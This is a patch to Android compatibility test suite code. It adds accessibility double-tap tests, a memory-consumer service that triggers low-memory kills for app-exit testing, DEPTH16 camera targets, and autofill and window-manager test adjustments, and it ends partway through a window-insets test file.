--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -280,7 +280,7 @@
      */
     @Test
     @AppModeFull
-    public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+    public void testDoubleTapNoFocus_doesNotPerformClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -318,7 +318,7 @@
      */
     @Test
     @AppModeFull
-    public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+    public void testDoubleTapAndHoldNoFocus_doesNotPerformLongClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -358,6 +358,63 @@
     }
 
     /**
+     * Test the case where we double tap and no item has accessibility focus, so TouchExplorer sends
+     * touch events to the last touch-explored coordinates to simulate a click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END, TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap and hold and no item has accessibility focus, so
+     * TouchExplorer sends touch events to the last touch-explored coordinates to simulate a long
+     * click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTapAndHold(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_VIEW_LONG_CLICKED, TYPE_TOUCH_INTERACTION_END);
+        mLongClickListener.assertLongClicked(mView);
+    }
+
+    /**
      * Test the case where we want to double tap using a second finger without triggering touch
      * exploration.
      */
diff --git a/tests/app/AppExitTest/AndroidManifest.xml b/tests/app/AppExitTest/AndroidManifest.xml
index 4606ca5..64a1ab8 100644
--- a/tests/app/AppExitTest/AndroidManifest.xml
+++ b/tests/app/AppExitTest/AndroidManifest.xml
@@ -24,6 +24,10 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
+        <service android:name="android.app.cts.MemoryConsumerService"
+                android:exported="true"
+                android:isolatedProcess="true">
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index bd9e5af..cbded8b 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -30,6 +30,7 @@
 import android.externalservice.common.RunningServiceInfo;
 import android.externalservice.common.ServiceMessages;
 import android.os.AsyncTask;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.DropBoxManager;
 import android.os.Handler;
@@ -44,12 +45,12 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
-import android.system.Os;
 import android.system.OsConstants;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.DebugUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -58,9 +59,7 @@
 import com.android.internal.util.MemInfoReader;
 
 import java.io.BufferedInputStream;
-import java.io.FileDescriptor;
 import java.io.IOException;
-import java.nio.DirectByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -131,6 +130,8 @@
     private UserHandle mOtherUserHandle;
     private DropBoxManager.Entry mAnrEntry;
     private SettingsSession<String> mDataAnrSettings;
+    private SettingsSession<String> mHiddenApiSettings;
+    private int mProcSeqNum;
 
     @Override
     protected void setUp() throws Exception {
@@ -154,6 +155,11 @@
                         Settings.Global.DROPBOX_TAG_PREFIX + "data_app_anr"),
                 Settings.Global::getString, Settings.Global::putString);
         mDataAnrSettings.set("enabled");
+        mHiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        mHiddenApiSettings.set("*");
     }
 
     private void handleMessagePid(Message msg) {
@@ -217,6 +223,9 @@
         if (mDataAnrSettings != null) {
             mDataAnrSettings.close();
         }
+        if (mHiddenApiSettings != null) {
+            mHiddenApiSettings.close();
+        }
     }
 
     private int createUser(String name, boolean guest) throws Exception {
@@ -391,47 +400,37 @@
                 ApplicationExitInfo.REASON_EXIT_SELF, EXIT_CODE, null, now, now2);
     }
 
-    private List<ApplicationExitInfo> fillUpMemoryAndCheck(ArrayList<Long> addresses)
-            throws Exception {
-        List<ApplicationExitInfo> list = null;
-        // Get the meminfo firstly
-        MemInfoReader reader = new MemInfoReader();
-        reader.readMemInfo();
+    private List<ServiceConnection> fillUpMemoryAndCheck(
+            final MemoryConsumerService.TestFuncInterface testFunc,
+            final List<ApplicationExitInfo> list) throws Exception {
+        final String procNamePrefix = "memconsumer_";
+        final ArrayList<ServiceConnection> memConsumers = new ArrayList<>();
+        Pair<IBinder, ServiceConnection> p = MemoryConsumerService.bindToService(
+                mContext, testFunc, procNamePrefix + mProcSeqNum++);
+        IBinder consumer = p.first;
+        memConsumers.add(p.second);
 
-        long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
-        final int pageSize = 4096;
-        final int oneMb = 1024 * 1024;
+        while (list.size() == 0) {
+            // Get the meminfo firstly
+            MemInfoReader reader = new MemInfoReader();
+            reader.readMemInfo();
 
-        // Create an empty fd -1
-        FileDescriptor fd = new FileDescriptor();
-
-        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
-        for (long i = 0; i < totalMb; i++) {
-            long addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
-                    OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
-            if (addr == 0) {
-                break;
+            long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
+            if (!MemoryConsumerService.runOnce(consumer, totalMb) && list.size() == 0) {
+                // Need to create a new consumer (the present one might be running out of space)
+                p = MemoryConsumerService.bindToService(mContext, testFunc,
+                        procNamePrefix + mProcSeqNum++);
+                consumer = p.first;
+                memConsumers.add(p.second);
             }
-            addresses.add(addr);
-
-            // We don't have direct access to Memory.pokeByte() though
-            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
-
-            // Dirt the buffer
-            for (int j = 0; j < oneMb; j += pageSize) {
-                buf.put(j, (byte) 0xf);
-            }
-
-            // Check if we could get the report
-            list = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    STUB_PACKAGE_NAME, mStubPackagePid, 1,
-                    mActivityManager::getHistoricalProcessExitReasons,
-                    android.Manifest.permission.DUMP);
-            if (list != null && list.size() == 1) {
+            // make sure we have cached process killed
+            String output = executeShellCmd("dumpsys activity lru");
+            if (output == null && output.indexOf(" cch+") == -1) {
                 break;
             }
         }
-        return list;
+
+        return memConsumers;
     }
 
     public void testLmkdKill() throws Exception {
@@ -444,23 +443,32 @@
         // Start a process and do nothing
         startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
 
-        final int oneMb = 1024 * 1024;
-        ArrayList<Long> addresses = new ArrayList<Long>();
-        List<ApplicationExitInfo> list = fillUpMemoryAndCheck(addresses);
+        final ArrayList<IBinder> memConsumers = new ArrayList<>();
+        List<ApplicationExitInfo> list = new ArrayList<>();
+        final MemoryConsumerService.TestFuncInterface testFunc =
+                new MemoryConsumerService.TestFuncInterface(() -> {
+                    final long token = Binder.clearCallingIdentity();
+                    try {
+                        List<ApplicationExitInfo> result =
+                                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                        STUB_PACKAGE_NAME, mStubPackagePid, 1,
+                                        mActivityManager::getHistoricalProcessExitReasons,
+                                        android.Manifest.permission.DUMP);
+                        if (result != null && result.size() == 1) {
+                            list.add(result.get(0));
+                            return true;
+                        }
+                    } finally {
+                        Binder.restoreCallingIdentity(token);
+                    }
+                    return false;
+                });
 
-        while (list == null || list.size() == 0) {
-            // make sure we have cached process killed
-            String output = executeShellCmd("dumpsys activity lru");
-            if (output == null && output.indexOf(" cch+") == -1) {
-                break;
-            }
-            // try again since the system might have reclaimed some ram
-            list = fillUpMemoryAndCheck(addresses);
-        }
+        List<ServiceConnection> services = fillUpMemoryAndCheck(testFunc, list);
 
-        // Free all the buffers firstly
-        for (int i = addresses.size() - 1; i >= 0; i--) {
-            Os.munmap(addresses.get(i), oneMb);
+        // Unbind all the service connections firstly
+        for (int i = services.size() - 1; i >= 0; i--) {
+            mContext.unbindService(services.get(i));
         }
 
         long now2 = System.currentTimeMillis();
diff --git a/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
new file mode 100644
index 0000000..cca0fac
--- /dev/null
+++ b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+import android.util.Pair;
+
+import java.io.FileDescriptor;
+import java.nio.DirectByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class MemoryConsumerService extends Service {
+    private static final String TAG = MemoryConsumerService.class.getSimpleName();
+
+    private static final int ACTION_RUN_ONCE = IBinder.FIRST_CALL_TRANSACTION;
+    private static final String EXTRA_BUNDLE = "bundle";
+    private static final String EXTRA_TEST_FUNC = "test_func";
+
+    private IBinder mTestFunc;
+
+    private IBinder mBinder = new Binder() {
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_RUN_ONCE:
+                    reply.writeBoolean(fillUpMemoryAndCheck(data.readLong(), mTestFunc));
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    };
+
+    static class TestFuncInterface extends Binder {
+        static final int ACTION_TEST = IBinder.FIRST_CALL_TRANSACTION;
+
+        private final BooleanSupplier mTestFunc;
+
+        TestFuncInterface(final BooleanSupplier testFunc) {
+            mTestFunc = testFunc;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_TEST:
+                    reply.writeBoolean(mTestFunc.getAsBoolean());
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private boolean fillUpMemoryAndCheck(final long totalMb, final IBinder testFunc) {
+        final int pageSize = 4096;
+        final int oneMb = 1024 * 1024;
+
+        // Create an empty fd -1
+        FileDescriptor fd = new FileDescriptor();
+
+        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
+        for (long i = 0; i < totalMb; i++) {
+            long addr = 0L;
+            try {
+                addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
+                        OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
+            } catch (ErrnoException e) {
+                Log.d(TAG, "mmap returns " + e.errno);
+                if (e.errno == OsConstants.ENOMEM) {
+                    // Running out of address space?
+                    return false;
+                }
+            }
+            if (addr == 0) {
+                return false;
+            }
+
+            // We don't have direct access to Memory.pokeByte() though
+            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
+
+            // Dirt the buffer
+            for (int j = 0; j < oneMb; j += pageSize) {
+                buf.put(j, (byte) 0xf);
+            }
+
+            // Test to see if we could stop
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            try {
+                testFunc.transact(TestFuncInterface.ACTION_TEST, data, reply, 0);
+                if (reply.readBoolean()) {
+                    break;
+                }
+            } catch (RemoteException e) {
+                // Ignore
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle bundle = intent.getBundleExtra(EXTRA_BUNDLE);
+        mTestFunc = bundle.getBinder(EXTRA_TEST_FUNC);
+        return mBinder;
+    }
+
+    static Pair<IBinder, ServiceConnection> bindToService(final Context context,
+            final TestFuncInterface testFunc, String instanceName) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClass(context, MemoryConsumerService.class);
+        final Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRA_TEST_FUNC, testFunc);
+        intent.putExtra(EXTRA_BUNDLE, bundle);
+        final String keyIBinder = "ibinder";
+        final Bundle holder = new Bundle();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ServiceConnection conn = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                holder.putBinder(keyIBinder, service);
+                latch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+            }
+        };
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await(10_000, TimeUnit.MILLISECONDS);
+        return new Pair<>(holder.getBinder(keyIBinder), conn);
+    }
+
+    static boolean runOnce(final IBinder binder, final long totalMb) {
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            data.writeLong(totalMb);
+            binder.transact(ACTION_RUN_ONCE, data, reply, 0);
+            return reply.readBoolean();
+        } catch (RemoteException e) {
+            return false;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 7174f36..e877350 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -124,6 +124,10 @@
     }
 
     public void testNightModeAutoNotPersistedCarMode() {
+        if (mUiModeManager.isNightModeLocked()) {
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
         mUiModeManager.enableCarMode(0);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
index 22ba3b9..54f391b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -26,6 +26,8 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import org.junit.After;
 import org.junit.Test;
 
@@ -51,8 +53,12 @@
 
     @After
     public void killSettings() {
-        // Make sure there's no Settings activity left , as it could fail future tests.
-        runShellCommand("am force-stop com.android.settings");
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
     }
 
     @Test
@@ -65,6 +71,7 @@
         // Asserts services are shown.
         mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
         mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index f67bd5c..fb878d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1812,7 +1812,7 @@
 
         // Tapping URLSpan.
         final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        span.onClick(/* unused= */ null);
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
         // Waits for the save UI hided
         mUiBot.waitForIdle();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 8babc6c..88173d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -55,6 +55,9 @@
 import android.support.test.uiautomator.SearchCondition;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.text.Spanned;
@@ -1246,4 +1249,15 @@
                 .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
         return spans[0];
     }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
         public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
         public TestSample(String cameraId, StaticMetadata staticInfo,
                 MandatoryStreamCombination combination, boolean subY8) {
             this.cameraId = cameraId;
@@ -247,9 +248,9 @@
             CameraTestUtils.setupConfigurationTargets(
                 testSample.combination.getStreamsInformation(), testSample.privTargets,
                 testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
-                testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
-                MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
-                /*physicalCameraId*/null, mHandler);
+                testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+                testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+                /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
 
             try {
                 checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
             for (ImageReader target : testSample.heicTargets) {
                 target.close();
             }
+            for (ImageReader target : testSample.depth16Targets) {
+                target.close();
+            }
         }
     }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 0a24671..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
         List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
-                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
-                MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+                outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+                mHandler);
 
         boolean haveSession = false;
         try {
@@ -416,6 +418,9 @@
         for (ImageReader target : heicTargets) {
             target.close();
         }
+        for (ImageReader target : depth16Targets) {
+            target.close();
+        }
     }
 
     /**
@@ -498,6 +503,7 @@
         List<ImageReader> y8Targets = new ArrayList<>();
         List<ImageReader> rawTargets = new ArrayList<>();
         List<ImageReader> heicTargets = new ArrayList<>();
+        List<ImageReader> depth16Targets = new ArrayList<>();
         ArrayList<Surface> outputSurfaces = new ArrayList<>();
         List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
         ImageReader inputReader = null;
@@ -527,7 +533,7 @@
             // separately.
             CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
                     privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
-                    outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+                    depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
                     substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
 
             outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
                 target.close();
             }
 
+            for (ImageReader target : depth16Targets) {
+                target.close();
+            }
+
             if (inputReader != null) {
                 inputReader.close();
             }
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index ad0ed57..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
             List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
             List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
             List<ImageReader> rawTargets, List<ImageReader> heicTargets,
-            List<OutputConfiguration> outputConfigs,
+            List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
             int numBuffers, boolean substituteY8, boolean substituteHeic,
             String overridePhysicalCameraId, Handler handler) {
 
@@ -307,6 +307,18 @@
                     heicTargets.add(target);
                     break;
                 }
+                case ImageFormat.DEPTH16: {
+                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+                            targetSize.getHeight(), format, numBuffers);
+                    target.setOnImageAvailableListener(imageDropperListener, handler);
+                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
+                    if (overridePhysicalCameraId != null) {
+                        config.setPhysicalCameraId(overridePhysicalCameraId);
+                    }
+                    outputConfigs.add(config);
+                    depth16Targets.add(target);
+                    break;
+                }
                 default:
                     fail("Unknown output format " + format);
             }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 72ce477..3ac15bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -570,7 +570,6 @@
     }
 
     @Test
-    @FlakyTest(bugId=159062106)
     public void testDisallowMultipleTasksInPinnedStack() throws Exception {
         // Launch a test activity so that we have multiple fullscreen tasks
         launchActivity(TEST_ACTIVITY);
@@ -1048,7 +1047,6 @@
         assertEquals("onPause", 0, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
     }
 
-    @FlakyTest(bugId = 156003518)
     @Test
     public void testPinnedStackWithDockedStack() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 1972122..de7ecc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -95,7 +95,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
  */
-@Presubmit
+//TODO(b/159167851) @Presubmit
 @RunWith(Parameterized.class)
 public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
 
@@ -183,6 +183,7 @@
         }
     }
 
+    @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
         runOnUiThread(() -> {
@@ -215,6 +216,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -235,6 +237,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -255,6 +258,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -273,6 +277,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -291,6 +296,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
         mInterpolator = new DecelerateInterpolator();
@@ -310,6 +316,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
         mInterpolator = new AccelerateInterpolator();
@@ -352,6 +359,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
         if (mType != ime()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 187ed91..373e1e5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -19,6 +19,7 @@
 import static android.graphics.Insets.NONE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -32,7 +33,9 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 
+import android.app.Instrumentation;
 import android.content.pm.PackageManager;
+import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowInsets;
 
@@ -40,10 +43,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.mockito.InOrder;
 
@@ -56,14 +58,7 @@
 @Presubmit
 public class WindowInsetsAnimationImeTests extends WindowInsetsAnimationTestBase {
 
-    private static final int KEYBOARD_HEIGHT = 400;
-
-    @Rule
-    public final MockImeSessionRule mMockImeSessionRule = new MockImeSessionRule(
-            InstrumentationRegistry.getInstrumentation().getContext(),
